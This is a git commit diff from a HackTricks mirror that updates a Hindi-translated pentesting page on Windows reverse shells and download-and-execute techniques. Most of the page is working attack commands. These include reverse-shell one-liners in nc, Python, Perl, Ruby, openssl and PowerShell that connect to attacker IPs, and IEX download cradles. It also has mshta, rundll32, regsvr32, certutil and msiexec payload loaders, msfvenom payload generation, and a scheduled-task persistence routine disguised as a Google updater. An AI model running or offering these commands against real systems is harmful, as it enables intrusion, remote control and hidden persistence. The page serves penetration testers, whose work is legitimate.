mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/av-bypass.md', 'src/generic-hacking/r
This commit is contained in:
parent
8ca3525e4c
commit
b081e28488
@ -4,8 +4,8 @@
|
|||||||
|
|
||||||
## Lolbas
|
## Lolbas
|
||||||
|
|
||||||
पृष्ठ [lolbas-project.github.io](https://lolbas-project.github.io/) Windows के लिए है जैसे [https://gtfobins.github.io/](https://gtfobins.github.io/) लिनक्स के लिए है।\
|
The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\
|
||||||
स्पष्ट रूप से, **Windows में SUID फ़ाइलें या sudo विशेषाधिकार नहीं हैं**, लेकिन यह जानना उपयोगी है **कैसे** कुछ **बाइनरी** का (दुरुपयोग) किया जा सकता है ताकि कुछ अप्रत्याशित क्रियाएँ की जा सकें जैसे **मनमाना कोड निष्पादित करना।**
|
स्पष्ट रूप से, **there aren't SUID files or sudo privileges in Windows**, लेकिन यह जानना उपयोगी है कि **how** कुछ **binaries** को (ab)used करके कुछ तरह की अप्रत्याशित क्रियाएँ जैसे **execute arbitrary code** की जा सकती हैं।
|
||||||
|
|
||||||
## NC
|
## NC
|
||||||
```bash
|
```bash
|
||||||
@ -13,13 +13,13 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||||||
```
|
```
|
||||||
## NCAT
|
## NCAT
|
||||||
|
|
||||||
शिकार
|
लक्ष्य
|
||||||
```
|
```
|
||||||
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
|
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||||
#Encryption to bypass firewall
|
#Encryption to bypass firewall
|
||||||
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
|
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||||
```
|
```
|
||||||
हमलावर
|
attacker
|
||||||
```
|
```
|
||||||
ncat -l <PORT>
|
ncat -l <PORT>
|
||||||
#Encryption to bypass firewall
|
#Encryption to bypass firewall
|
||||||
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
|
|||||||
```
|
```
|
||||||
## SBD
|
## SBD
|
||||||
|
|
||||||
**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलन योग्य स्रोत पोर्ट, और निरंतर पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP संचार के लिए एक बहुपरकारी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण Netcat के लिए एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है।
|
**[sbd](https://www.kali.org/tools/sbd/) एक पोर्टेबल और सुरक्षित Netcat विकल्प है**। यह Unix-like सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, कस्टमाइज़ करने योग्य स्रोत पोर्ट, और लगातार पुन: कनेक्शन जैसी सुविधाओं के साथ, sbd TCP/IP कम्युनिकेशन के लिए एक बहुमुखी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण का sbd.exe संस्करण Netcat का एक विश्वसनीय विकल्प के रूप में उपयोग किया जा सकता है।
|
||||||
```bash
|
```bash
|
||||||
# Victims machine
|
# Victims machine
|
||||||
sbd -l -p 4444 -e bash -v -n
|
sbd -l -p 4444 -e bash -v -n
|
||||||
@ -39,17 +39,17 @@ sbd 10.10.10.10 4444
|
|||||||
id
|
id
|
||||||
uid=0(root) gid=0(root) groups=0(root)
|
uid=0(root) gid=0(root) groups=0(root)
|
||||||
```
|
```
|
||||||
## पायथन
|
## Python
|
||||||
```bash
|
```bash
|
||||||
#Windows
|
#Windows
|
||||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||||
```
|
```
|
||||||
## पर्ल
|
## Perl
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
```
|
```
|
||||||
## रूबी
|
## Ruby
|
||||||
```bash
|
```bash
|
||||||
#Windows
|
#Windows
|
||||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||||
@ -60,13 +60,13 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
|
|||||||
```
|
```
|
||||||
## OpenSSH
|
## OpenSSH
|
||||||
|
|
||||||
हमलावर (Kali)
|
Attacker (Kali)
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||||
```
|
```
|
||||||
शिकार
|
पीड़ित
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
@ -74,7 +74,7 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||||||
#Windows
|
#Windows
|
||||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
```
|
```
|
||||||
## पॉवरशेल
|
## Powershell
|
||||||
```bash
|
```bash
|
||||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||||
@ -82,14 +82,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
|||||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||||
```
|
```
|
||||||
नेटवर्क कॉल करने वाली प्रक्रिया: **powershell.exe**\
|
नेटवर्क कॉल करने वाली प्रक्रिया: **powershell.exe**\
|
||||||
डिस्क पर लिखा गया पेलोड: **नहीं** (_कम से कम मैं procmon का उपयोग करके कहीं नहीं मिला !_ )
|
डिस्क पर payload लिखा गया: **नहीं** (_कम से कम मैंने procmon का उपयोग करके कहीं नहीं पाया!_)
|
||||||
```bash
|
```bash
|
||||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||||
```
|
```
|
||||||
नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\
|
नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\
|
||||||
डिस्क पर लिखा गया पेलोड: **WebDAV क्लाइंट स्थानीय कैश**
|
Payload डिस्क पर लिखा गया: **WebDAV client local cache**
|
||||||
|
|
||||||
**एक लाइन:**
|
**एक-लाइनर:**
|
||||||
```bash
|
```bash
|
||||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||||
```
|
```
|
||||||
@ -97,7 +97,7 @@ $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $c
|
|||||||
|
|
||||||
## Mshta
|
## Mshta
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [यहाँ से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||||
```
|
```
|
||||||
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
|
|||||||
```bash
|
```bash
|
||||||
mshta \\webdavserver\folder\payload.hta
|
mshta \\webdavserver\folder\payload.hta
|
||||||
```
|
```
|
||||||
#### **hta-psh रिवर्स शेल का उदाहरण (PS बैकडोर डाउनलोड और निष्पादित करने के लिए hta का उपयोग करें)**
|
#### **hta-psh reverse shell का उदाहरण (hta का उपयोग करके PS backdoor को डाउनलोड और निष्पादित करें)**
|
||||||
```xml
|
```xml
|
||||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||||
```
|
```
|
||||||
**आप बहुत आसानी से स्टेजर hta का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
**आप stager hta का उपयोग करके बहुत आसानी से एक Koadic zombie को download & execute कर सकते हैं**
|
||||||
|
|
||||||
#### hta उदाहरण
|
#### hta उदाहरण
|
||||||
|
|
||||||
[**यहां से**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
[**From here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||||
```xml
|
```xml
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||||||
```
|
```
|
||||||
#### **mshta - sct**
|
#### **mshta - sct**
|
||||||
|
|
||||||
[**यहां से**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
[**From here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||||
```xml
|
```xml
|
||||||
<?XML version="1.0"?>
|
<?XML version="1.0"?>
|
||||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||||
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||||||
```bash
|
```bash
|
||||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**defender द्वारा पत्ता चला**
|
||||||
|
|
||||||
## **Rundll32**
|
## **Rundll32**
|
||||||
|
|
||||||
[**Dll हेलो वर्ल्ड उदाहरण**](https://github.com/carterjones/hello-world-dll)
|
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||||
```
|
```
|
||||||
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
|||||||
```bash
|
```bash
|
||||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**defender द्वारा पहचाना गया**
|
||||||
|
|
||||||
**Rundll32 - sct**
|
**Rundll32 - sct**
|
||||||
|
|
||||||
[**यहां से**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
[**यहाँ से**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||||
```xml
|
```xml
|
||||||
<?XML version="1.0"?>
|
<?XML version="1.0"?>
|
||||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||||
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||||||
```
|
```
|
||||||
## Regsvr32
|
## Regsvr32
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||||
```
|
```
|
||||||
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
|||||||
```
|
```
|
||||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**Defender द्वारा पता चला**
|
||||||
|
|
||||||
#### Regsvr32 -sct
|
#### Regsvr32 – /i argument के साथ मनमाना DLL export (gatekeeping & persistence)
|
||||||
|
|
||||||
[**यहां से**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
remote scriptlets (`scrobj.dll`) लोड करने के अलावा, `regsvr32.exe` एक local DLL लोड करता है और इसके `DllRegisterServer`/`DllUnregisterServer` exports को invoke करता है। Custom loaders अक्सर इसे दुरुपयोग करके signed LOLBin में घुलते हुए मनमाना कोड execute करने के लिए उपयोग करते हैं। वाइल्ड में देखे गए दो tradecraft नोट्स:
|
||||||
|
|
||||||
|
- Gatekeeping argument: DLL तब exit कर देता है जब तक `/i:<arg>` के माध्यम से कोई specific switch पास न किया गया हो, उदाहरण के लिए `/i:--type=renderer` ताकि Chromium renderer children का नकल किया जा सके। इससे अनायास execution कम होती है और sandboxes परेशान होते हैं।
|
||||||
|
- Persistence: `regsvr32` को शेड्यूल करें ताकि वह DLL को silent + high privileges के साथ और आवश्यक `/i` argument के साथ चलाए, updater task के रूप में छिपते हुए:
|
||||||
|
```powershell
|
||||||
|
Register-ScheduledTask \
|
||||||
|
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
|
||||||
|
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
|
||||||
|
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
|
||||||
|
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
|
||||||
|
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
|
||||||
|
-RunLevel Highest
|
||||||
|
```
|
||||||
|
|
||||||
|
संदर्भ के लिए देखें: ClickFix clipboard‑to‑PowerShell variant जो एक JS loader stage करता है और बाद में `regsvr32` के साथ persist करता है।
|
||||||
|
{{#ref}}
|
||||||
|
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||||
```html
|
```html
|
||||||
<?XML version="1.0"?>
|
<?XML version="1.0"?>
|
||||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||||
@ -249,21 +269,21 @@ set lhost 10.2.0.5
|
|||||||
run
|
run
|
||||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||||
```
|
```
|
||||||
**आप बहुत आसानी से stager regsvr का उपयोग करके Koadic ज़ोंबी डाउनलोड और निष्पादित कर सकते हैं**
|
**आप stager regsvr का उपयोग करके बहुत आसानी से एक Koadic zombie download & execute कर सकते हैं**
|
||||||
|
|
||||||
## Certutil
|
## Certutil
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
|
|
||||||
एक B64dll डाउनलोड करें, इसे डिकोड करें और इसे निष्पादित करें।
|
एक B64dll download करें, उसे decode करें और execute करें।
|
||||||
```bash
|
```bash
|
||||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||||
```
|
```
|
||||||
B64exe डाउनलोड करें, इसे डिकोड करें और इसे निष्पादित करें।
|
एक B64exe डाउनलोड करें, उसे decode करें और execute करें।
|
||||||
```bash
|
```bash
|
||||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**defender द्वारा पता लगाया गया**
|
||||||
|
|
||||||
## **Cscript/Wscript**
|
## **Cscript/Wscript**
|
||||||
```bash
|
```bash
|
||||||
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
|||||||
```bash
|
```bash
|
||||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**defender द्वारा पता चला**
|
||||||
|
|
||||||
## PS-Bat
|
## PS-Bat
|
||||||
```bash
|
```bash
|
||||||
\\webdavserver\folder\batchfile.bat
|
\\webdavserver\folder\batchfile.bat
|
||||||
```
|
```
|
||||||
नेटवर्क कॉल करने वाली प्रक्रिया: **svchost.exe**\
|
नेटवर्क कॉल कर रही प्रक्रिया: **svchost.exe**\
|
||||||
डिस्क पर लिखा गया पेलोड: **WebDAV client local cache**
|
डिस्क पर लिखा गया Payload: **WebDAV client local cache**
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||||
impacket-smbserver -smb2support kali `pwd`
|
impacket-smbserver -smb2support kali `pwd`
|
||||||
@ -289,7 +309,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||||||
```bash
|
```bash
|
||||||
\\10.8.0.3\kali\shell.bat
|
\\10.8.0.3\kali\shell.bat
|
||||||
```
|
```
|
||||||
**डिफेंडर द्वारा पता लगाया गया**
|
**Defender द्वारा पता चला**
|
||||||
|
|
||||||
## **MSIExec**
|
## **MSIExec**
|
||||||
|
|
||||||
@ -298,7 +318,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||||
python -m SimpleHTTPServer 80
|
python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
शिकार:
|
पीड़ित:
|
||||||
```
|
```
|
||||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||||
```
|
```
|
||||||
@ -306,11 +326,11 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||||||
|
|
||||||
## **Wmic**
|
## **Wmic**
|
||||||
|
|
||||||
- [यहां से](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
wmic os get /format:"https://webserver/payload.xsl"
|
wmic os get /format:"https://webserver/payload.xsl"
|
||||||
```
|
```
|
||||||
उदाहरण xsl फ़ाइल [यहां से](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
उदाहरण xsl फ़ाइल [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||||
```xml
|
```xml
|
||||||
<?xml version='1.0'?>
|
<?xml version='1.0'?>
|
||||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
